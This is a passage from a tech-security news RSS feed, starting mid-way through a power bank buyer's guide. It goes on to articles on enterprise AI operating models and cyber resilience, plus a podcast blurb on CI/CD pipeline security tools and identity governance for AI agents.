1. INIU SnapGo Air 10,000 mAh Power Bank







Topping our list is the INIU SnapGo Air 10,000mAh Power Bank for its focus on portability without sacrificing charging performance. With a thickness around 13.8mm (0.5 inches), the SnapGo Air is one of the thinnest Qi2.2-certified magnetic power banks currently available. To give it a premium feel, the device features an aluminum body along with a soft-touch finish, and there’s also a minimalist side-mounted display for easily reading battery information. To really round-out the device, INIU included a USB-C GoCord that serves as both a charging cable for your iPhone as well as the power bank itself — great for those who forget to pack a cable. 



Of course, it’s the charging power that truly matters, and SnapGo Air’s Qi2.2 certification allows for 25W wireless charging. For those used to 7.5 Wi charging, they’re going to notice a difference. The USB-C cable also supports up to 45W wired output for those really wanting speed. For physical connections to the iPhone, INIU also included a strong 13N magnet that attaches securely for everyday use. With the 10,000mAh capacity providing plenty of juice for commuting, traveling, or just long periods away from an outlet, the INIU SnapGo Air can be an excellent companion for iPhone users. 



2. LISEN Ultra Slim MagSafe Power Bank



Photo Credit: LISEN



Those looking solely at portability may want to consider the LISEN Ultra Slim MagSafe Power Bank, and it’s one of the easier recommendations to make. Its card-like profile is good for being discrete even when attached to an iPhone, so keeping it in your pocket isn’t really an issue even when you’re charging. With a 10,000mAh capacity, most users will have little issues getting an all-day charge on their iPhone without needing an outlet, and its magnetic alignment keeps everything in place.



There’s a couple of extras that LISEN includes that can improve usability, including the addition of multiple charging methods and support for the Apple Watch. However, it’s not truly going to match the speeds offered by Qi2.2 competitors. Nonetheless, it has an excellent balance between portability and convenience. Those wanting an iPhone charging pack they can keep on throughout the day may want to look into this one. 



3. Statik State Power Bank



Photo Credit: Statik



The Statik State Power Bank stands out for its semi-solid-state battery technology that has a larger emphasis on longevity and durability. Statik also takes safety into consideration, as its approach can offer better protections over traditional lithium-ion designs. It’s approved for TSA travel and has a design that’s meant to withstand years of regular use. This one can be especially appealing for those that frequently travel.



Featuring a 5,000mAh capacity, the Statik Power Bank is likely better suited for occasional top-offs rather than keeping a device charged multiple times. However, it can still be a strong contender for an everyday use accessory. Keep in mind that the wireless charging will be limited to 7.5W, but the device does have a reliable magnetic connection alongside solid recharging efficiency. Anyone needing a charger that focuses on safety, longevity, and a compact size may want to consider this one as an option. 



4. UGREEN 5,000mAh Magnetic Power Bank



Photo Credit: UGREEN



UGREEN has done a good job of building a strong reputation for reliable charging accessories, and its 5,000mAh Magnetic Power Bank only continues that trend. This one has more of a focus on being an emergency battery rather than an all-day power source, but its compact design makes it suitable for slipping into a pocket without much notice. It also features strong magnets for providing a secure alignment on compatible iPhone models, though it also supports wired USB-C connections. 



Though it’s 5,000mAh capacity may have some troubles with large iPhone Pro Max models, it’s going to be great for getting users through a busy day. The company has provided consumers with devices that show consistently strong build quality, making this one something that can feel right at home within an Apple user’s arsenal. This is going to be a good choice for anyone that prefers portability over a maximum battery capacity. 



5. Kuxiu B10 Ultra Slim Power Bank



Photo Credit: Kuxiu



We’re ending this list with Kuxiu B10 Ultra Slim Power bank for its exceptionally thin profile and premium construction. Like other newer magnetic batteries, it has a focus on comfort when attached to an iPhone, and it does a rather good job of avoiding giving users a bulky feeling in their hand or pocket. It sports a minimalist design while still being built from quality materials, making it feel more like a premium accessory rather than a typical portable charger. 



It’s solid on performance, as well. It features fast wireless charging and also includes USB-C options for some good versatility, and users can rely on it as an everyday carry. However, a slim profile comes with a bit of compromise when compared to bulkier packs with higher capacities. Nonetheless, Kuxiu does a good job balancing portability and performance. It’s going to be a grat option for those looking for a power bank that doesn’t interfere with your iPhone use. 



The Final Word: What's the Best MagSafe Power Bank?



It isn’t hard finding a barrage of MagSafe-compatible power banks in 2026, but users should expect more from an accessory aside from some additional battery life. A good battery pack should be comfortable to carry, provide efficient charging, and even integrate naturally into your phone habits without feeling like you’re carrying around something bulky. 



Each item on this list has its own set of strengths, but we find that INIU SnapGo Air earns the top spot for offering the complete package. With an ultra-slim design, official Qi2.2 certification, fast 25W charging speeds, and an integrated USB-C GoCord, the SnapGo Air is going to be a great choice for iPhone users looking for an everyday carry. ]]></content:encoded>
</item>
<item>
<title><![CDATA[Why conversational AI is redefining your security perimeter]]></title>
<description><![CDATA[As enterprises race to deploy AI across their operations, a perfect storm is brewing: New AI-generated attack vectors are colliding with employees’ growing emotional trust in chatbots and AI assistants, creating security blind spots that traditional defenses weren’t designed to…
Read more →
The p...]]></description>
<link>https://tsecurity.de/de/3665175/it-security-nachrichten/why-conversational-ai-is-redefining-your-security-perimeter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665175/it-security-nachrichten/why-conversational-ai-is-redefining-your-security-perimeter/</guid>
<pubDate>Mon, 13 Jul 2026 14:07:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>&lt;p&gt;As enterprises race to deploy AI across their operations, a perfect storm is brewing: New AI-generated attack vectors are colliding with employees’ growing emotional trust in chatbots and AI assistants, creating security blind spots that traditional defenses weren’t designed to…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/why-conversational-ai-is-redefining-your-security-perimeter/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/why-conversational-ai-is-redefining-your-security-perimeter/">Why conversational AI is redefining your security perimeter</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CIOs must rethink operating models to unlock AI at scale]]></title>
<description><![CDATA[Almost every company has a board or executive AI mandate. Vendors are rolling out agentic AI platforms. The pressure to move is intense.



But the reality on the ground looks different. Eighty-three percent of organizations say data quality is their top AI challenge, and 74% struggle to demonstr...]]></description>
<link>https://tsecurity.de/de/3664901/it-nachrichten/cios-must-rethink-operating-models-to-unlock-ai-at-scale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664901/it-nachrichten/cios-must-rethink-operating-models-to-unlock-ai-at-scale/</guid>
<pubDate>Mon, 13 Jul 2026 12:17:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Almost every company has a <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">board or executive AI mandate</a>. Vendors are rolling out agentic AI platforms. The pressure to move is intense.</p>



<p>But the reality on the ground looks different. Eighty-three percent of organizations say <a href="https://www.cio.com/article/4162306/data-debt-ai-value-killer.html">data quality is their top AI challenge</a>, and 74% struggle to demonstrate ROI, according to Lopez Research. And only 21% report having a mature <a href="https://www.csoonline.com/article/4176485/the-ai-governance-imperative-you-cant-afford-to-ignore-2.html">governance model for AI agents</a>, per Deloitte’s <a href="https://www.deloitte.com/us/en/about/press-room/state-of-ai-report-2026.html" rel="nofollow">2026 State of Enterprise AI</a> report.</p>



<p>“Agentic AI is real, and vendors’ offerings are very real, too,” says <a href="https://www.forrester.com/analyst-bio/boris-evelson/BIO1737" rel="nofollow">Boris Evelson</a>, vice president and principal analyst at Forrester. “However, most enterprises are still not ready to adopt at scale.”</p>



<p><a href="https://www.westmonroe.com/our-team/david-hilborn" rel="nofollow">Dave Hilborn</a>, who leads West Monroe’s Organization, People &amp; Change practice, frames it as a race with three arrows moving forward — one representing AI and tech evolution, one representing organizations and people, and one representing data. “The AI arrow is far out ahead,” he says. “That delta is the readiness gap.”</p>



<p>The gap <a href="https://www.cio.com/article/4192383/its-not-the-it-holding-ai-back-its-the-business-processes.html">isn’t the technology</a>. It’s the foundational work most organizations haven’t done: data readiness, operating models, governance, skills, and culture. The companies making progress aren’t waiting for vendors to solve these problems. They’re tackling the unglamorous work themselves.</p>



<h2 class="wp-block-heading">AI doesn’t tolerate ambiguity</h2>



<p>AI readiness can be framed across six levels — from data foundation at the base to <a href="https://www.cio.com/article/4157466/cios-reimagine-business-processes-to-reap-ai-benefits.html">reinvented business experiences</a> at the top, says <a href="https://www.linkedin.com/in/afsheantalasaz/" rel="nofollow">Afshean Talasaz</a>, former CIO at Colonial Pipeline and now an executive advisor. One of the key areas that doesn’t always get the attention it needs is the operating model.<strong></strong></p>



<p>“The technology playbooks of the past don’t work in the AI world,” Talasaz says. “Those areas were able to tolerate more ambiguity between business and tech teams. AI doesn’t tolerate the same level of ambiguity. It needs clarity.”</p>



<p>That demands a different kind of partnership between IT and the business. AI systems learn from data — records and measurements of what’s actually happening in the business — and then operate within business processes. Unlike traditional software, which is built based on user requirements, AI is sandwiched between the business that produces the data and the business that consumes the outputs.</p>



<p>“AI is requiring IT and business teams to work more closely together, to be clearer about what AI will and will not do — that really close partnership is crucial,” Talasaz says. “It’s not something that will always naturally evolve. It requires a lot of intentionality about how teams need to work together to deliver outcomes.”</p>



<p>The <a href="https://www.cio.com/article/3801027/10-ai-strategy-questions-every-cio-must-answer.html">AI questions CIOs must answer</a> aren’t just technical. Do we have the right operating model? Have we balanced governance and standard operating procedures within the model? Have we organized teams appropriately? All this must be designed within the context of what the business actually needs.</p>



<p>Too many organizations are <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">bolting AI onto existing processes</a> without redefining roles or workflows, Forrester’s Evelson. “Organizations can either incrementally enhance existing workflows by augmenting capabilities with AI or pursue a more transformative approach by redesigning the process end-to-end.”</p>



<p>The companies getting value are doing the latter.</p>



<h2 class="wp-block-heading">Data debt comes due</h2>



<p>Data readiness remains the most common barrier to scaling AI. “We’ve never fixed this data quality problem in most organizations,” says <a href="https://www.lopezresearch.com/" rel="nofollow">Maribel Lopez</a>, founder and principal analyst at Lopez Research, “and it comes back to haunt a company in spades as they move to AI.”</p>



<p>At Levi Strauss, the foundational work came first. “If you think about the Levi’s business, it’s quite complex — 100 countries, over 3,000 stores, multiple business models,” says <a href="https://www.levistrauss.com/who-we-are/leadership/jason-gowans/" rel="nofollow">Jason Gowans</a>, the company’s chief digital and technology officer. “You can imagine the complexity of gathering all that data to understand how the business is performing. The idea of this single source of truth — that’s been the biggest thing.”</p>



<p>Levi’s now has more than 1,100 standard operating procedures that govern how work gets done on top of SAP. “That’s fertile material to feed to LLMs on how work gets done,” Gowans says.The results are tangible: partner onboarding that once took three to six months to set up EDI exchanges now takes days.</p>



<p>At contract manufacturing company Jabil, <a href="https://www.linkedin.com/in/chase-christensen-b0447/" rel="nofollow">Chase Christensen</a>, segment CIO, took a similar path. “We had to get everyone to understand where the source data resides, put tech in place so consumption is easier, and drive ownership around data and decision rights — so 140,000 employees don’t feel empowered to create their own data sources that fall out of line.”</p>



<p>The data challenge goes beyond quality, Evelson notes. <a href="https://www.cio.com/article/4104444/8-tips-for-rebuilding-an-ai-ready-data-strategy.html">Most organizations’ data isn’t AI-ready</a>; it hasn’t been prepared for how AI systems consume and learn from information. “Data is siloed, poorly governed, and hard to discover, integrate, and trust,” he says.</p>



<p>Forrester research shows that 45% of data and analytics decision-makers were adopting vector databases in 2025, and 53% were adopting graph databases — investments that signal recognition of how much data architecture needs to evolve. The firm recommends a balanced approach: roughly 48% of AI spending on foundations such as data management and engineering, and 52% on consumption, including analytics, governance, and applications.</p>



<p>But even as organizations work to prepare existing data, AI is creating new challenges. Users leveraging AI tools are generating new forms of data and information that never make it into corporate databases, West Monroe’s Hilborn notes.</p>



<p>“There are explosions of new data, content, and insights being created on the periphery of these data lakes,” he says. “The challenge is how do you capture that and leverage it.”</p>



<h2 class="wp-block-heading">Who’s sponsoring this?</h2>



<p>Even when data is in order, many AI initiatives stall due to how they’re sponsored and funded.</p>



<p>“Enterprise data, analytics, and AI programs succeed when business CxOs sponsor them because they are accountable for business outcomes, not just technology delivery,” Forrester’s Evelson says. “IT-led initiatives often become siloed or tool-centric, whereas business sponsorship ensures alignment to enterprise strategy, prioritization of end-to-end use cases, and a focus on decisions and actions rather than insights alone.”</p>



<p>Too often, AI is still treated as a series of disconnected use cases rather than a sustained, multi-year investment. Evelson calls this the “use case trap” — organizations overindex on individual projects and miss the enterprise-wide compounding impact. That leads to fragmented priorities, inconsistent adoption, and difficulty demonstrating ROI.</p>



<p>Leadership readiness is a distinct layer of AI preparedness, Talasaz says. “Are leaders prepared to provide a vision of reinvented business experiences that become the north star?” he asks. “Leadership teams, at various levels of the organization, need to articulate what a reinvented business looks like so teams have the direction and support to build differentiating capabilities.”</p>



<p>Levi’s offers a counterexample. AI is a CEO priority there. At the last quarterly offsite, the execs were building agents. “When you’re committed to upskilling the workforce, you’re better served to answer how to rewire processes with AI at the core,” Gowans says. “It starts at the top. It has to be an exec priority.”</p>



<h2 class="wp-block-heading">Fear, literacy, and two types of AI</h2>



<p>Technical talent is only part of the equation. Organizations also need to <a href="https://www.cio.com/article/4016354/cios-tackle-the-ai-change-management-challenge.html">address change management</a>.</p>



<p>“We saw it with the AI boom — fear about jobs, not knowing what AI did,” says Jabil’s Christensen. “The key is demystifying AI. We doubled down and focused on AI literacy. We want everyone to understand how it was put together, and that removed a lot of that fear. That’s been the biggest hurdle.”</p>



<p>Different types of AI require different skills and governance, Talasaz says. “General use focuses on productivity on the desktop,” he says. “Integrated AI — industrial-capable AI embedded within core business processes — requires different skills, capabilities, and governance.”</p>



<p>For desktop AI, training and guardrails help employees be successful — what Talasaz calls “bumpers,” like in bowling. Organizations need to <a href="https://www.cio.com/article/4117091/how-ai-upskilling-fails-and-what-it-leaders-are-doing-to-get-it-right.html">help employees through reskilling and guidance</a>. “You have tools in a toolbox,” he says. “It’s important to know when to use a power tool versus when you need a screwdriver.”</p>



<p>But for integrated AI embedded in core processes, the stakes are higher. “Business leaders responsible for business outcomes based on AI-driven processes need to be fully aware of both the benefits and risks that come along with using these tools,” Talasaz says.</p>



<p>That distinction matters for governance, too. Lower-, medium-, and high-risk AI use cases may require <a href="https://www.csoonline.com/article/4188573/rethinking-the-balance-between-ai-oversight-and-innovation.html">different ways of working and different risk management approaches</a>. “Deploying AI in potentially high-risk or high-cost areas of the business requires a higher level of rigor,” Talasaz says. “That’s different than building something that helps write my emails.”</p>



<h2 class="wp-block-heading">From POC to production</h2>



<p>Perhaps the biggest readiness gap is the transition <a href="https://www.cio.com/article/3850763/88-of-ai-pilots-fail-to-reach-production-but-thats-not-all-on-it.html">from proof of concept to production</a>. “It requires such a different approach,” Talasaz says. “A successful proof of concept can create a lot of excitement, but when teams are unprepared to build and scale, it can create the potential to over-promise and under-deliver.”</p>



<p>The operating model that works for experimentation doesn’t work for production at scale. Proofs of concept are designed to demonstrate the efficacy of ideas and the underlying technology. But building, scaling, and sustaining technology in the business requires operating models, standards, roles, and skills that many organizations haven’t developed. Intentionally designed operating models reduce the cost of learning, improve execution, and increase delivery velocity, says Talasaz.</p>



<p>But there’s no one-size-fits-all answer. “A business that needs to build capabilities in a marketplace moving very fast requires one kind of operating model,” Talasaz says. “A business that can take longer to develop business capabilities and adapt to market changes can choose a different operating model. It’s important to design ways of working tailored to what the business needs and the speed at which the business needs to leverage technology to be successful.”</p>



<p>Jabil is navigating this journey as part of its move to SAP’s cloud ERP through RISE, scaling from $29 billion to $34 billion in revenue while keeping selling, general, and administrative (SG&amp;A) expenses relatively flat — in part by layering generative AI onto predictive analytics capabilities built over years.</p>



<p>“We started years ago with computer vision to drive product quality,” Christensen says. “As gen AI blew up, we took the predictive analytics we had <a href="https://www.cio.com/article/193580/upskilling-transforms-jabil-employees-into-data-scientists.html">built over the years</a> and imbued them with gen AI. We’ve implemented the basics, and now we’re looking for complex scenarios.”</p>



<h2 class="wp-block-heading">Governance built in, not bolted on</h2>



<p>Governance is often treated as a policy document or committee. It should be embedded in the operating model itself, Talasaz argues.</p>



<p>“The operating model doesn’t always get the attention it needs,” he says. “Policies and committees are useful, but they should handle larger enterprise risks. Most of the governance should be embedded in the operating model to ensure you’re getting outcomes you want.”</p>



<p>That might mean peer review built into the development process, bias checks before deployment, or clear escalation paths for high-risk use cases. When governance is separate from the operating model, it tends to slow things down. When it’s integrated, it becomes how work naturally gets done, says Talasaz.</p>



<p>Governance at the agent level matters, too, Levi’s Gowans says. “Know what agents have been deployed, who authored them, and who’s responsible,” he says, noting that the company has established a registry to understand what agents it has operating within its networks.</p>



<p>The challenges of AI governance are unique, Lopez of Lopez Research says. “Very few people have the governance stack required to say they did the right things with AI,” she says. “<a href="https://www.csoonline.com/article/2132294/what-are-non-human-identities-and-why-do-they-matter.html">Non-human identity</a> and access control is totally different and, frankly, evolving so quickly that no one knows what to do.”</p>



<p>The challenge is ultimately a trade-off, Forrester’s Evelson says. “Push agentic AI capabilities too far, and you risk creating a governance and compliance nightmare,” he says. “Tighten controls too aggressively, and you stifle innovation. Best practices for <a href="https://www.cio.com/article/4188566/cios-rethink-the-balance-between-ai-oversight-and-innovation.html">striking the right balance</a> are still being discovered.”</p>



<h2 class="wp-block-heading">It takes a team</h2>



<p>The AI readiness gap isn’t about technology — it’s about the work organizations have been deferring for years. Data quality. Operating models. Executive sponsorship. Skills and culture. Governance embedded in process.</p>



<p>“Once you progress from everyone using Copilot to putting agents in production, then you realize the need for business context,” Gowans of Levi Strauss says.</p>



<p>It’s a shared journey requiring all teams to understand what’s required, Talasaz says. “It involves helping people understand what it takes from all sides — the technology itself, the operating model, the skills and talents needed — but also working with business leaders on the art of the possible,” he says. “Helping them understand both the benefits and the responsibility of deploying this tech.”</p>



<p>A colleague of his calls AI “the ultimate executive team sport.”</p>



<p>“It requires people to do it well and manage it,” Talasaz says.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Jurassic Park, cybersecurity and the dangerous myth of control]]></title>
<description><![CDATA[Jurassic Park wasn’t really about dinosaurs.



It was about arrogant people building systems they believed were controllable.



“Life finds a way” is probably the most famous line from the entire franchise. Ian Malcolm’s warning that no matter how sophisticated the technology becomes, no matter...]]></description>
<link>https://tsecurity.de/de/3664863/it-security-nachrichten/jurassic-park-cybersecurity-and-the-dangerous-myth-of-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664863/it-security-nachrichten/jurassic-park-cybersecurity-and-the-dangerous-myth-of-control/</guid>
<pubDate>Mon, 13 Jul 2026 12:08:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Jurassic Park wasn’t really about dinosaurs.</p>



<p>It was about arrogant people building systems they believed were controllable.</p>



<p>“Life finds a way” is probably the most famous line from the entire franchise. Ian Malcolm’s warning that no matter how sophisticated the technology becomes, no matter how expensive the fences are, and no matter how confident the operators feel, nature eventually escapes containment.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>And in every movie, it does.</p>



<p>The dinosaurs always get out. The systems fail. Eventually, the humans lose control.</p>



<p>What makes Jurassic Park fascinating is that despite advanced monitoring, complex containment systems and sophisticated operational controls, the outcome never really changes. At its core, the story is about people mistaking visibility for control.</p>



<p>Cybersecurity has the same problem.</p>



<p>For years, security teams have operated under the assumption that with enough tooling, governance, process, maturity and spend, we can build environments that are effectively secure. Maybe not perfect, but secure enough that compromise becomes rare and manageable.</p>



<p>But attackers find a way.</p>



<p>Given enough time, skill or motivation, they eventually identify the weakness nobody considered. The overlooked privilege. The dependency nobody mapped. The misconfiguration hiding behind layers of dashboards, process, and compliance reporting.</p>



<p>We are already seeing this play out. Nation-state attacks are becoming increasingly sophisticated, while AI-driven exploit discovery is beginning to compress vulnerability research from weeks into minutes.</p>



<p>The raptors are learning faster now.</p>



<h2 class="wp-block-heading">Mistaking visibility for control</h2>



<p>That does not mean prevention no longer matters. The fences in Jurassic Park still slowed the dinosaurs down. They created friction. They reduced exposure. Modern security controls do the same thing.</p>



<p>But the failure in Jurassic Park was never simply that the fences broke.</p>



<p>It was that the entire system assumed the fences represented certainty.</p>



<p>Cybersecurity often makes the same mistake.</p>



<p>The industry has become incredibly good at demonstrating preparedness in controlled environments. Dashboards. Compliance reports. Tabletop exercises. RTO metrics. Recovery attestations.</p>



<p>Jurassic Park had dashboards too.</p>



<p>The problem is that <a href="https://www.csoonline.com/article/4157486/cisos-tackle-the-ai-visibility-gap.html">visibility is often mistaken for survivability</a>. Organizations can prove they monitored the environment, documented the process, and ran the exercise, while still having very little confidence that the business could continue operating during a genuine systemic failure.</p>



<p>Most organizations still operate with an implicit belief that compromise is exceptional rather than inevitable. Disaster recovery plans, business continuity workshops, and annual tabletop exercises are treated as evidence of resilience. In reality, many of them are carefully controlled simulations of a world that no longer exists.</p>



<p>Traditional disaster recovery was designed for an era where infrastructure changed slowly, applications were relatively static, and dependencies were limited enough that recovery assumptions could remain valid for months or even years.</p>



<p>That world is gone. AI killed it.</p>



<p>Environments now evolve constantly. Cloud infrastructure changes daily. AI-assisted development accelerates release cycles. Applications rely on sprawling third-party ecosystems. APIs connect systems in ways many organizations do not fully understand. Entire workloads appear and disappear dynamically.</p>



<p>The environment you tested last quarter may no longer exist today.</p>



<p>And yet many resilience programs still operate as if annual or quarterly testing provides meaningful confidence.</p>



<p>Most companies do not really test resilience.</p>



<p>They test optimism.</p>



<h2 class="wp-block-heading">The backup fallacy</h2>



<p>And nowhere is this overconfidence more obvious than <a href="https://www.csoonline.com/backup-recovery/">backups</a>.</p>



<p>Somewhere along the way, organizations confused “having backups” with “being resilient.” Those are not remotely the same thing.</p>



<p>A backup simply proves you stored a copy of something at a specific point in time. It does not prove you can survive.</p>



<p>Most recovery models were designed in the late 90s and early 2000s for relatively static systems and predictable infrastructure. The core philosophy has barely evolved since then, even as environments have become increasingly distributed, ephemeral, and interconnected.</p>



<p>Restoring data is not the same as restoring operations.</p>



<p>Restoring infrastructure is not the same as restoring business functionality. Modern application are complex and rely on ephemeral elements, third party components and applications as well as complex data flows not just data sets.</p>



<p>Very few organizations continuously validate whether they can recover full feature-function applications, maintain operational workflows, preserve data integrity, reconnect dependencies, restore permissions correctly, or continue operating under active attack conditions.</p>



<p>We built incredibly sophisticated telemetry for understanding how we die.</p>



<p>We built almost none for proving we can survive.</p>



<p>That gap is becoming impossible to ignore.</p>



<p>The recent rise of continuous resilience testing and recovery validation is not accidental. It reflects a growing realization that recovery assumptions themselves may no longer be trustworthy.</p>



<p>Static resilience models are struggling to survive dynamic infrastructure.</p>



<p>This is where resilience starts becoming an engineering problem rather than a compliance exercise.</p>



<h2 class="wp-block-heading">When restoration assumptions fail</h2>



<p>Because the real question is no longer, “How quickly can we restore the application?”</p>



<p>The real question is, “What happens if we cannot restore it?”</p>



<p>Jurassic Park repeatedly explored exactly this scenario. The real panic never started when the fences failed. It started when the operators realized they could not regain control quickly enough.</p>



<p>Businesses now face the same risk.</p>



<p>What happens if AWS experiences a prolonged outage? What happens if <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.html">Azure Identity Services fail</a> globally? What happens if Stripe, Salesforce, Slack, or Microsoft 365 disappear for days rather than hours?</p>



<p>Many organizations do not actually have business continuity strategies for those situations.</p>



<p>They have restoration assumptions.</p>



<p>Twenty years ago, most organizations directly owned large portions of their operational stack. Today, companies increasingly rent critical business capability from a relatively small number of providers.</p>



<p>Identity. Infrastructure. Communications. Payments. Collaboration. Customer operations.</p>



<p>The efficiency gains are enormous.</p>



<p>So is the concentration risk.</p>



<h2 class="wp-block-heading">Resilience as an engineering discipline</h2>



<p>Historically, business continuity planning assumed localized disruption. A building burned down. A regional data center failed. A storm impacted an office. The internet itself was not the dependency.</p>



<p>Today, entire businesses are built on tightly interconnected SaaS and cloud ecosystems where operational survivability depends on third parties remaining continuously available.</p>



<p>We optimized organizations for efficiency, automation, integration, and scale.</p>



<p>Not necessarily survivability.</p>



<p>That is why resilience needs to evolve beyond annual tabletop exercises and static recovery plans.</p>



<p>True resilience is not a binder sitting on a shelf. It is not a workshop performed once a year. It is not a recovery document written against an environment that changed six months ago.</p>



<p>It is a continuous understanding of the environment itself.</p>



<p>It requires live telemetry, operational visibility, dependency awareness, continuous validation, and the ability to adapt under changing conditions.</p>



<h2 class="wp-block-heading">Adapting to chaos</h2>



<p>The survivors in Jurassic Park only succeeded once they stopped pretending the environment was fully controllable and instead adapted to the reality in front of them.</p>



<p>Cybersecurity needs to make the same shift.</p>



<p>Attackers will keep adapting.</p>



<p>AI will accelerate faster than most governance models can handle.</p>



<p>Complexity will continue to outpace our assumptions about control.</p>



<p>The organizations that survive will not necessarily be the ones with the tallest fences. They will be the ones who understand their environments deeply enough to continue operating when control is lost.</p>



<p>The goal was never to eliminate chaos.</p>



<p>It was to survive long enough to adapt to it.</p>



<p>Because resilience is not about preventing chaos.</p>



<p>It is about operating through it.</p>



<p>Because eventually, one way or another, life finds a way.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.csoonline.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hungry? We talk Smoked Meat, Poutine, and Bagel - also, Identiverse Interviews! - John Pritchard, Cassie Christensen, Jaime Lewis-Gross, François Proulx, Kim Brown - ESW #467]]></title>
<description><![CDATA[Interview with François Proulx from Boost Security Software Supply Chain Security: Build Pipeline (CI/CD) Exploitation Boost Security is the creator of some very popular build pipeline security tools, like Bagel and Poutine. Today, we discuss their latest tool, Smoked Meat. They describe it as "L...]]></description>
<link>https://tsecurity.de/de/3664752/it-security-nachrichten/hungry-we-talk-smoked-meat-poutine-and-bagel-also-identiverse-interviews-john-pritchard-cassie-christensen-jaime-lewis-gross-franois-proulx-kim-brown-esw-467/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664752/it-security-nachrichten/hungry-we-talk-smoked-meat-poutine-and-bagel-also-identiverse-interviews-john-pritchard-cassie-christensen-jaime-lewis-gross-franois-proulx-kim-brown-esw-467/</guid>
<pubDate>Mon, 13 Jul 2026 11:21:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Interview with François Proulx from Boost Security</h3> <p><strong>Software Supply Chain Security: Build Pipeline (CI/CD) Exploitation</strong></p> <p>Boost Security is the creator of some very popular build pipeline security tools, like Bagel and Poutine. Today, we discuss their latest tool, Smoked Meat. They describe it as "Like Metasploit, but for CI/CD pipelines".</p> <p>Segment Resources:</p> <ul> <li>Smoked Meat <a rel="noopener" target="_blank" href="https://labs.boostsecurity.io/articles/introducing-smokedmeat">announcement</a></li> <li>Smoked Meat <a rel="noopener" target="_blank" href="https://github.com/boostsecurityio/smokedmeat">github</a></li> <li>Smoked <a rel="noopener" target="_blank" href="https://www.youtube.com/watch?v=F5Hr_201Au8">Meat demo</a> with Guillaume and François</li> </ul> <h3>Identiverse Interview with Dr. John Prichard from Radiant Logic</h3> <p><strong>The Three Identity Problem: Surviving Identity Security's Chaotic Era</strong></p> <p>Identity security has entered its chaotic era. Human, non-human, and agentic AI identities no longer just coexist. They form an uncontrolled inheritance chain in which a human creates an agent, the agent spins up service principals, OAuth grants, and role assignments, and that whole chain keeps running long after the human changes roles or leaves. Most of these chains are being spawned by business users on low-code and enterprise AI platforms, outside traditional identity controls and largely invisible to security.</p> <p>In this segment, Radiant Logic CEO Dr. John Pritchard joins us to unpack why this is no longer a visibility problem. It is an observability problem. And it is shifting the center of gravity in identity security from authentication to authorization. Listeners will leave with a clearer view of where their current IAM, IGA, and NHI programs fall short, and a practical lens for governing the rapidly expanding population of AI agents already inside their environments.</p> <p>To go deeper on what John discussed today, watch Radiant Logic's on-demand webinar Identities Under Attack: How Adversaries Exploit the Human-Machine-Agent Divide at <a rel="noopener" target="_blank" href="https://securityweekly.com/radiantlogicidv">https://securityweekly.com/radiantlogicidv</a>.</p> <h3>Identiverse Interview with Cassie Christensen from Saviynt</h3> <p><strong>Everyone Wants an AI Assistant. Few Are Ready to Govern One</strong></p> <p>Explore a growing reality many professionals can relate to: the appeal of using AI agents to handle the work that keeps piling up - from inbox management to research and logistics - and the governance challenges that quickly follow. The real barrier to scaling personal or enterprise AI agents isn't the technology itself, but defining clear roles, access boundaries, oversight, and lifecycle management. As organizations deploy more autonomous AI agents, the same identity frameworks used to govern workforce and non-employee identities must now evolve to manage AI-driven access before scale and risk outpace control.</p> <p>This segment is sponsored by Saviynt. Learn more or get a free demo at <a rel="noopener" target="_blank" href="https://securityweekly.com/saviyntidv">https://securityweekly.com/saviyntidv</a></p> <h3>Identiverse Interview with Jaime Lewis-Gross from Saviynt</h3> <p><strong>From Sales Engineer to Forward Deployed Engineer: The Rise of Hybrid Technical Roles</strong></p> <p>As technology organizations evolve, technical roles are becoming increasingly fluid - particularly at the intersection of product, engineering, and customer success. This conversation explores what it means to be a modern sales engineer and how the role is increasingly expanding into responsibilities often associated with forward deployed engineers: translating complex technical capabilities into real-world outcomes, solving customer challenges in real time, and serving as a critical bridge between product teams and end users. At the center of this evolution is a customer-first mindset - one that prioritizes listening, adaptability, and long-term partnership. As organizations race to innovate, the companies that stand out will be those that remain deeply focused on customer needs while empowering technical teams to operate beyond traditional role boundaries.</p> <p>This segment is sponsored by Saviynt. Learn more or get a free demo at <a rel="noopener" target="_blank" href="https://securityweekly.com/saviyntidv">https://securityweekly.com/saviyntidv</a></p> <h3>Identiverse Interview with Kim Brown from LexisNexis</h3> <p><strong>Stop Identity Fraud: Modern Strategies for Insurance and Healthcare</strong></p> <p>Identity fraud is growing more 